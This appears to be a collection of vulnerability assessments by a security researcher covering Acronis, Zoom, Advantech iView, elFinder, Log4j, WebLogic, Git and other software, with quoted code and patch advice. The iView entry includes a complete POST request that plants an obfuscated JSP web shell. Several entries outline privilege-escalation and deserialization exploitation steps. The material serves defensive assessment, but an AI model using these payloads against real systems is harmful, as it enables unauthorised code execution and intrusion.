space-r7 (129)

Acronis TrueImage comes installed with an XPC service by default:

$ ls -al /Library/PrivilegedHelperTools
total 96
drwxr-xr-t   3 root  wheel     96 Nov  9 15:19 .
drwxr-xr-x  66 root  wheel   2112 Nov  9 15:41 ..
-rwxr-xr-x   1 root  wheel  47216 Nov  9 15:19 com.acronis.trueimagehelper

Inside its shouldAcceptNewConnection method, it accepts a connection from the connecting client without any validation:

/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    var_30 = [arg3 retain];
    rbx = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain];
    [arg3 setExportedInterface:rbx];
    [rbx release];
    [arg3 setExportedObject:self];
    [arg3 resume];
    [var_30 release];
    return 0x1;
}

The service uses the HelperToolProtocol to set up an interface for the connection. class-dump shows that there are three methods implemented by the HelperToolProtocol, with one being executeProcess:arguments:caller:withReply::

$ ./class-dump /Library/PrivilegedHelperTools/com.acronis.trueimagehelper 
...
@protocol HelperToolProtocol
- (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4;
- (void)getProcessIdentifierWithReply:(void (^)(int))arg1;
@end

Executing the executeProcess:arguments:caller:withReply: method allows for executing arbitrary processes via the following block:

int ___56-[HelperTool executeProcess:arguments:caller:withReply:]_block_invoke(int arg0) {
    r14 = [[NSTask launchedTaskWithLaunchPath:*(arg0 + 0x20) arguments:*(arg0 + 0x28)] retain];
    objc_sync_enter([[*(arg0 + 0x30) pids] retain]);
    var_30 = [[*(arg0 + 0x30) pids] retain];
    r12 = [[NSNumber numberWithInt:[r14 processIdentifier]] retain];
    rbx = [[NSNumber numberWithInt:*(int32_t *)(arg0 + 0x40)] retain];
    [var_30 setObject:rbx forKeyedSubscript:r12];
    [rbx release];
    [r12 release];
    [var_30 release];
    [*(arg0 + 0x30) startTimer];
    objc_sync_exit(rax);
    [rax release];
    [r14 waitUntilExit];
    r15 = [r14 terminationReason];
    rbx = *(arg0 + 0x38);
    rax = [r14 terminationStatus];
    if (r15 == 0x2) {
            rax = rax + 0x3e8;
    }
    (*(rbx + 0x10))(rbx, rax);
    rax = [r14 release];
    return rax;
}

Exploiting this vulnerability is fairly trivial and will give an attacker root privileges. Granted, this is now a two year old vulnerability, but it spans a large range of versions and uninstalling the main application will not remove the helper tool. Definitely check /Library/PrivilegedHelperTools if a vulnerable version was installed and was removed without updating.

A vulnerability in the ZoomAutoUpdater application can result in escalation of privileges to that of the root user. The issue stems from permissions held by the update package that is to be installed: The package gets written to a root-owned directory; however, the package itself is writable for anyone. Because of this, an attacker can write a malicious package in place of the valid update package. Being a TOCTOU bug, the malicious package must be written after the updater verifies that the package is signed, but before the installation process begins. That makes repeated attempts at the exploit potentially necessary. Since the update process can be hidden from the user, multiple attempts at exploitation can be afforded.

Zoom appears to cache a valid update package at ~/Library/Application Support/zoom.us/AutoUpdater/Zoom.pkg if the auto update setting is checked, so exploitation may be as simple as writing the malicious package to disk, initiating an update, and then performing a copy to write the package in the valid update package’s location.

An unauthenticated attacker can leverage this command injection vulnerability to gain remote code execution against vulnerable versions of Advantech iView software. The software runs as NT AUTHORITY\SYSTEM, so this will ultimately give an attacker unauthenticated privileged access with relatively low effort.

The vulnerability lies in the NetworkServlet database backup functionality:

  private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) {
    boolean bReturn = false;
    String strResults = new String();
    String strFilename = request.getParameter("backup_filename");
    String strExecuteCmd = new String();
    String strMySQLPath = new String();
    String strDbBackupFilePath = new String();
    DBServices tempDBServices = new DBServices();
    Process runtimeProcess = null;
    SystemTable tempSystemTable = new SystemTable();
    boolean errFile = false, sqlInj = false;
    CUtils cutil = new CUtils();
    if (strFilename != null && !strFilename.equals(""))
      errFile = cutil.checkFileNameIncludePath(strFilename);     <---
    sqlInj = cutil.checkSQLInjection(strFilename);     <---
    ...
    return bReturn;
  }

Two checks are performed on the user-controlled strFileName variable (backup_filename in POST). The first check is a test for attempted directory traversal or an attempt to write a file to known executable directories:

  public boolean checkFileNameIncludePath(String filename) {
    boolean result = false;
    if (filename.contains("../") || filename.contains("/Microsoft/Windows/")) {
      result = true;
    } else if (filename.contains("..\\") || filename.contains("\\webapps\\") || filename.contains("\\Apache Software Foundation\\")) {
      result = true;
    } 
    if (result)
      System.out.println("Error: Directory Traversal Vulnerability detected in [" + filename + "]"); 
    return result;
  }

The second check simply determines whether the strFileName includes any SQL keywords that would imply a SQL injection attempt. It also checks for attempts at executing arbitrary commands via getRuntime().exec():

public boolean checkSQLInjection(String model0) {
    boolean result = false;
    String model = model0.toLowerCase();
    if (model.contains(" or ") || model.contains("'or ") || model.contains("||") || model.contains("==") || model.contains("--")) {
      result = true;
    } else if (model.contains("union") && model.contains("select")) {
      if (checkCommentStr(model, "union", "select"))
        result = true; 
    } else if (model.contains("case") && model.contains("when")) {
      if (checkCommentStr(model, "case", "when"))
        result = true; 
    } else if (model.contains("into") && model.contains("dumpfile")) {
      if (checkCommentStr(model, "into", "dumpfile"))
        result = true; 
    } else if (model.contains("into") && model.contains("outfile")) {
      if (checkCommentStr(model, "into", "outfile"))
        result = true; 
    } else if (model.contains(" where ") && model.contains("select ")) {
      result = true;
    } else if (model.contains("benchmark")) {
      result = true;
    } else if (model.contains("select") && model.contains("from")) {
      if (checkCommentStr(model, "select", "from"))
        result = true; 
    } else if (model.contains("select/*")) {
      result = true;
    } else if (model.contains("delete") && model.contains("from")) {
      if (checkCommentStr(model, "delete", "from"))
        result = true; 
    } else if ((model.contains("drop") && model.contains("table")) || (model.contains("drop") && model.contains("database"))) {
      if (checkCommentStr(model, "drop", "table"))
        result = true; 
      if (checkCommentStr(model, "drop", "database"))
        result = true; 
    } else if (model.contains("sleep(") || model.contains(" rlike ") || model.contains("rlike(") || model.contains(" like ")) {
      result = true;
    } else if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {
      result = true;
    } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {
      result = true;
    } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {
      result = true;
    } 
    if (result)
      System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]"); 
    return result;
  }

Returning to backupDatabase(), as long as the strFileName variable passes the two above checks it will be used in forming a mysqldump command which will be executed via Runtime.getRuntime().exec(). Since the previous sanitization checks didn’t take mysqldump arguments into account, the -r and -w flags can be used for exploitation.

private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) {
  ...
 if (!errFile && !sqlInj) {
      if (tempDBServices.getMySQLLocation()) {
        strMySQLPath = tempDBServices.getMySQLPath();
        if (tempDBServices.retrieveDbSettings()) {
          String strUser = tempDBServices.getStrLoginUserID();
          String strPassword = tempDBServices.getStrLoginPassword();
          if (tempSystemTable.findDbBackupFilePath()) {
            strDbBackupFilePath = tempSystemTable.getDbBackupFilePath();
            strDbBackupFilePath = String.valueOf(strDbBackupFilePath) + strFilename;
            if (DBServices.OsUtils.isWindows()) {
              strExecuteCmd = "\"" + strMySQLPath;
              strExecuteCmd = String.valueOf(strExecuteCmd) + "bin\\mysqldump\" -hlocalhost -u " + strUser + " -p" + strPassword + " --add-drop-database -B iview -r \"" + strDbBackupFilePath + "\"";
            } 
            try {
              runtimeProcess = Runtime.getRuntime().exec(strExecuteCmd);
  ...

The -r flag designates a file for the output of the mysqldump command, and the -w flag allows the user to supply a condition for the command, which will end up in the output file. Given this, an attacker can pass in a jsp stub as the condition, and they will now have the ability to execute code on the target. This can be done with a single POST request (parameters not encoded for readability):

POST /iView3/NetworkServlet HTTP/1.1
Host: 192.168.140.200:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 469

page_action_type=backupDatabase&backup_filename=Qivsaus.sql" -r "./webapps/iView3/ZQmIfz.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{119,83,97,65,116,110,68,88})),request.getParameter(new java.lang.String(new byte[]{107,88,108,74})),request.getParameter(new java.lang.String(new byte[]{81,72,108,68,101,102}))).start()).getInputStream()))%>"

The patch for this vulnerability makes authentication a requirement for accessing the NetworkServlet endpoint. Since this vuln is trivial to exploit, I would recommend this one as high priority to patch. Credit goes to y4er for original blog post and PoC

This is a useful vulnerability; however, an existing session on the target is required, and escalation of privileges can sometimes depend on luck. To achieve the directory creation and ultimately the file write, one first needs to reinitialize the print spooler. There exists one primitive to do this using SetPrinterDataEx() and AppVTerminator.dll as a Point and Print dll, but it’s limited to two uses because the print spooler will not automatically restart after two crashes. If the print spooler has reached its maximum number of restarts, then this exploit will only work by restarting the system completely, which is not particularly stealthy. Additionally, the previously-mentioned primitive is limited, as Windows 7 does not appear to have the AppVTerminator dll.

Assuming that the attacker has a printer handle with the PRINTER_ACCESS_ADMINISTER privilege and the ability to restart the print spooler, this vulnerability is fairly easy to exploit. Create a temp directory, set the SpoolDirectory to the temp path with the version 4 directory appended (in UNC path form), create junction between the temp path and the printer driver directory, restart spooler, write malicious dll, then load the dll.

I wouldn’t call this the first priority in the list of vulnerabilities to patch mainly due to an existing session being a requirement and success potentially depending on a reboot, but it should certainly be patched.

Exploitation is fairly trivial, but dumping all of the useful tables gets more involved. As @NinjaOperator mentioned, this vulnerability has been used to deploy ransomware in the past, so I’m rating this as fairly high in terms of exploitability. The documentation for BillQuick setup and installation uses the sa user’s credentials, meaning that it’s likely that customers are doing the same. Attackers can go further with this vulnerability and achieve code execution as a result of this. I’m not aware of any public PoC for achieving RCE with this vuln, but patching should be prioritized.

This CVE represents multiple vulnerabilities found in elFinder which you can read more about here. My assessment will mostly focus on the argument injection vulnerability, as that one is personally the easiest to exploit / gives the best reward out of all of them from an attacker’s perspective (a shell!).

The argument injection vulnerability occurs in the makeArchive() function:

php/elFinderVolumeDriver.class.php from elFinder v2.1.57

6841     protected function makeArchive($dir, $files, $name, $arc)
6842     {
6843         if ($arc['cmd'] === 'phpfunction') {
6844             if (is_callable($arc['argc'])) {
6845                 call_user_func_array($arc['argc'], array($dir, $files, $name));
6846             }
6847         } else {
6848             $cwd = getcwd();
6849             if (chdir($dir)) {
6850                 foreach ($files as $i => $file) {
6851                     $files[$i] = '.' . DIRECTORY_SEPARATOR . basename($file);
6852                 }
6853                 $files = array_map('escapeshellarg', $files);
6854 
6855                 $cmd = $arc['cmd'] . ' ' . $arc['argc'] . ' ' . escapeshellarg($name) . ' ' . implode(' ', $files);
6856                 $this->procExec($cmd, $o, $c);
6857                 chdir($cwd);
6858             } else {
6859                 return false;
6860             }
6861         }
6862         $path = $dir . DIRECTORY_SEPARATOR . $name;
6863         return file_exists($path) ? $path : false;
6864     }

On line 6855, the archive command is created with the previously-sanitized file name(s) and the user-controlled name variable being passed to escapeshellarg(). escapeshellarg() escapes single quotes and places singles quotes around the string supplied as the argument. Additionally, I found that the name variable is further sanitized via another method. Certain characters like spaces, slashes, +’s, etc. are either removed or replaced with other characters, adding some minor complexity to the exploit. Despite these limitations, when using zip as the archive method, supplying the -TmTT option through the name parameter / variable allows execution of arbitrary commands.

This vulnerability’s impact can vary since elFinder can be used as a standalone web-based file manager and as an underlying file manager for other software. Standalone, elFinder does not require authentication, so exploitation would be quite straightforward. I don’t expect there to be many of these installations on the open internet, so while easy to exploit, this would likely require being on an internal network first.

In cases where elFinder is integrated with other software, this may add to the complexity by requiring auth / admin privileges. For instance, according to the Portswigger article elFinder is used as part of the Wordpress File Manager, but requires access to an admin account to exploit. This is likely the similar case for other software that integrates with elFinder, such as CKEditor, TinyMCE, etc.

While it’s hard to determine just how widespread this vulnerability is, I think most vulnerable elFinder installations are probably behind auth via third-party apps. Whether that’s truly the case or not, a patch for this should be prioritized.

Edit: I selected both unauthenticated and authenticated since this vulnerability can technically be both.

This vulnerability occurs due to a flaw in calculating safe bounds while performing arithmetic involving a pointer and a scalar when the scalar’s actual value is not known. The verifier calculates a minimum and maximum value (for both signed and unsigned numbers) that can be safely added / subtracted to / from the pointer to ensure that out-of-bounds memory is not accessed. Additionally, the verifier uses the var_off bound to represent what it knows about the current state of the register that the bound is for. The __reg_bound_offset32() function was added in order to update bounds specifically when 32-bit conditionals are performed; however, the technique used to calculate and update bounds can result in bounds that are less than the actual value of the register, meaning that the verifier can be tricked into allowing out-of-bounds reads and writes after all.

I’m not well-versed in exploiting out-of-bounds writes on Linux, but based off of the blog post , triggering the vulnerability seems fairly straightforward at least. The vulnerability didn’t make it to many mainline distro releases, so I reduced the exploitability rating a bit. In the rare chance that you are running a kernel version vulnerable to this, definitely prioritize this and patch your system.

Rating this vulnerability as high since it bypasses all of the checks that MacOS performs on downloaded files. It was reportedly introduced in MacOS version 10.15, and the fix is in version 11.3. This vulnerability has also been reported as being exploited in the wild.

An unsigned, unnotarized binary downloaded from the Internet is typically blocked from execution; however a script-based app with no Info.plist file bypasses those checks. To read about how that exactly happens, see the objective-see blog post here. This does require user interaction for success, but all it takes is a download and a double click. Additionally, an exploit is quite trivial to make, as all it really needs is a valid app without the Info.plist file bundled with it. As always, install your updates.

Agree with @wvu-r7’s assessment. An installation of Apache Druid from the official release archives was technically vulnerable by default. No auth required, and then the JavaScript execution setting can be enabled in a single request. That same request can hold the payload that gets an attacker RCE as well. The ingestion format is well-documented on Apache Druid’s site, so creating an exploit from scratch is relatively trivial. Wanted to add to this, as there is now a Metasploit Module in the works.

While this vulnerability has the potential to be dangerous, I think the limitations for exploitation outweigh its value. To successfully exploit this vulnerability, an attacker must be able to host a malicious repo and convince a user to clone said repo. Additionally, each platform has its own requirements.

There are a few hosting options, and they all have their caveats that would limit the exploit in some way. An attacker could use a “trusted” hosting service such as Github, Gitlab, etc. Hosting on a trusted service could be either through compromising an existing, perhaps commonly-used repo or by hosting a single, malicious repo of their own. The former option adds complexity because it would require the attacker to be able to add multiple files to the repo unnoticed. The latter option would be an easier and more credible / trustworthy option versus using a self-hosting method. Despite that, the repo would likely be identified and removed, limiting the exploit even further. As mentioned before, the self-hosting option exists, but would be the most limited since users would be more cautious with repositories from an untrusted source.

Aside from the hosting limitations, a user must have some form of clean / smudge filters set up globally with Git so that the repo’s contents can be checked out out-of-order on a clone. According to the advisory, Git for Windows has clean / smudge filters set up by default through Git-lfs, so Windows users are most vulnerable. For MacOS, clean / smudge filters must be set up manually. Thanks to Foone’s fantastic analysis, it turns out that Linux can also be vulnerable, provided that clean / smudge filters are set up globally, and the malicious repo is cloned on a case-insensitive file system, i.e., a mounted drive.

Because so many limitations exist for successful exploitation, I wouldn’t rate this as a critical vulnerability. It is dangerous, but because it relies on user interaction and a specific local configuration of the vulnerable software, I’m giving it a middle score for both Attacker Value and Exploitability. I’ve selected both vulnerable in default configuration and vulnerable in uncommon configuration since it’s dependent on the platform that the Git client is installed on. Windows is vulnerable by default, and the other platforms require additional setup to be truly vulnerable.

As always, upgrade to the patched version, especially Windows users in this case. If that’s not possible, users can still disable global clean / smudge filters and disable symlinks in Git.

Rating this as very high as this is a widespread Wordpress plugin, and the vulnerability is easily exploitable. The vulnerability is due to an example file, lib/php/connector.minimal.php, being left over in installations of the plugin. The file enables unauthenticated execution of select commands including an upload command that allows for file upload which can lead to code execution on the server.

Note that disabling the plugin in Wordpress does not fix the vulnerability. The plugin should either be removed or updated to the patched version, which is v6.9.

This vulnerability is essentially a duplicate of CVE-2017-5645, which was discovered in various versions of Log4j 2. I am unsure why the Log4j 1.x versions were addressed later, especially since Log4j 1.x was considered EoL in 2015.

Including any of the vulnerable versions of the Log4j library and enabling it in the application of choice opens up a pretty nasty vulnerability in said application. The CVE listing mentions that the vulnerability exists within the SocketServer class. Within its main() method, a SocketNode object is created once a client connection is accepted.

public static void main(String argv[])
{
   ...
      while(true) {
	cat.info("Waiting to accept a new client.");
	Socket socket = serverSocket.accept();
	InetAddress inetAddress =  socket.getInetAddress();
	cat.info("Connected to client at " + inetAddress);

	LoggerRepository h = (LoggerRepository) server.hierarchyMap.get(inetAddress);
	if(h == null) {
	  h = server.configureHierarchy(inetAddress);
	}

	cat.info("Starting new socket node.");
	new Thread(new SocketNode(socket, h)).start();
   ...
}

The SocketNode constructor creates a new ObjectInputStream object named ois from data on the socket:

  public SocketNode(Socket socket, LoggerRepository hierarchy)
  {
    this.socket = socket;
    this.hierarchy = hierarchy;
    try {
      ois = new ObjectInputStream(new BufferedInputStream(socket.getInputStream()));
    ...
  }

And in the SocketNode’s run() method, readObject() is called on the data previously read from the socket:

public void run()
 {
    LoggingEvent event;
    Logger remoteLogger;

    try {
      if (ois != null) {
          while(true) {
	        // read an event from the wire
	        event = (LoggingEvent) ois.readObject();
	        // get a logger from the hierarchy. The name of the logger is taken to be the name contained in the event.
	        remoteLogger = hierarchy.getLogger(event.getLoggerName());
  ...
 }

This vulnerability could give an attacker unauthenticated RCE easily if and only if the Log4j library is enabled and listening for remote connections. I’m rating this vulnerability a little lower in utility / attacker value because of that. This is quite an old vulnerability despite the CVE date, but as always, make sure you’re patched.

The readFrom method within the Command class in the Jenkins CLI remoting component deserializes objects received from clients without first checking / sanitizing the data. Because of this, a malicious serialized object contained within a serialized SignedObject can be sent to the Jenkins endpoint to achieve code execution on the target.

This is a fairly old vulnerability, so it’s unlikely that there are many, if any vulnerable installations on the web today, but I rated this vulnerability based on what it could give an attacker if they were to find a vulnerable installation online today. This vulnerability is yet another Java deserialization vulnerability that I would define as critical given a number of reasons:

1. Unauthenticated code execution
   
2. There is no special / proprietary protocol that will hinder exploitation ( you just send the object in the body of a POST request )
   
3. A proof of concept exists and has for some time
   

Again, this is an unlikely target given the date of the vulnerability, but I think an attacker would definitely aim to exploit this if it was spotted online.

Versions of Wildfly below 20.0.0.Final can load arbitrary classes through either JNDI or EJB invocation, which could potentially result in RCE. Despite that, authentication is required, making exploitation all the more difficult.

Not many details have been released regarding this vulnerability, Despite that, exploitation sounds trivial, and the result is code execution as root. This should definitely be patched.

This is now being reported as a bypass for the patch for CVE-2020-2555. The gadget chain is slightly modified, but it seems that exploitation results in unauthenticated RCE just as with CVE-2020-2555. This should certainly be patched.

The vulnerability exists in the LimitFilter class’s toString() method within the Coherence library, a library that exists within WebLogic installations by default.

public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter)
      .append(" [pageSize=")
      .append(this.m_cPageSize)
      .append(", pageNum=")
      .append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
      ValueExtractor extractor = (ValueExtractor)this.m_comparator;
      sb.append(", top=")
        .append(extractor.extract(this.m_oAnchorTop))
        .append(", bottom=")
        .append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
      sb.append(", comparator=")
        .append(this.m_comparator);
    } 
    sb.append("])");
    return sb.toString();
  }

As originally noted in the ZDI blog post, all of the calls to extract() were removed from the aforementioned toString() method in the fix. The removal was due to having the ability to leverage the ReflectionExtractor class’s extract() method to execute arbitrary code via method.invoke().

  public E extract(T oTarget) {
    if (oTarget == null)
      return null; 
    Class<?> clz = oTarget.getClass();
    try {
      Method method = this.m_methodPrev;
      if (method == null || method.getDeclaringClass() != clz)
        this.m_methodPrev = method = ClassHelper.findMethod(clz, 
            getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false); 
      return (E)method.invoke(oTarget, this.m_aoParam);
    } catch (NullPointerException e) {
      throw new RuntimeException(suggestExtractFailureCause(clz));
    } catch (Exception e) {
      throw ensureRuntimeException(e, clz
          .getName() + this + '(' + oTarget + ')');
    } 
  }

The prerequisite for being able to leverage extract() to execute code is to first trigger the toString() method from the LimitFilter class. The BadAttributeValueExpException class within the JRE meets the prereq, as can be seen in its readObject() method:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
       ...
    }

Provided that the server does not have a Security Manager, sending a serialized BadAttributeValueExpException object to a WebLogic server will result in the toString() method being triggered. As of now, Weblogic installations do not come with a Security Manager by default.

I would rate this vulnerability as quite high, since successful exploitation does not require authentication, and the application accepts the crafted object without any sort of filtering. This is an important one to patch.

Judging by the Kaspersky writeup, it looks like the vulnerability exists for a relatively large number of Chrome versions. Fix was released for 78.0.3904.87, and the exploit checks the range from 65-77. Despite the seemingly difficult development and execution of this exploit, this is an important one to patch.

Simply sending a malformed packet can result in RCE on a device running VxWorks, and there are reportedly no features such as ASLR, DEP, etc. enabled to mitigate the issue. Given the simplicity of successful exploitation, I’d say that this is a vulnerability to take seriously and patch.

Details

The soffice binary allows passing arguments in order to listen on a host ip and port. Axel Boesenach found that the Apache UNO API that acts as a communication bridge to the soffice process
can execute shell commands through the XSystemShellExecute execute module. This exploit is useful in that exploitation comes easy through the usage of a Python library. Discovering targets running
this process are likely rare, given that the functionality exploited here is rarely used, and there is no default port that this service listens on. The effort to exploit this vulnerability was
given a higher rating due to these caveats.